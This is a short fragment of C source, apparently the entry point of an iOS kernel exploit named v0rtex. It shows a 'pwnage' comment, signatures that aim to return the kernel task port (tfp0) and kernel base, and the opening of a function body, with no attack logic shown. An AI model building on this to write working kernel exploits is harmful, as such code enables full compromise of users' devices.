// ********** ********** ********** ye olde pwnage ********** ********** **********
kern_return_t exploit(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)
{
kern_return_t retval = KERN_FAILURE,
ret = 0;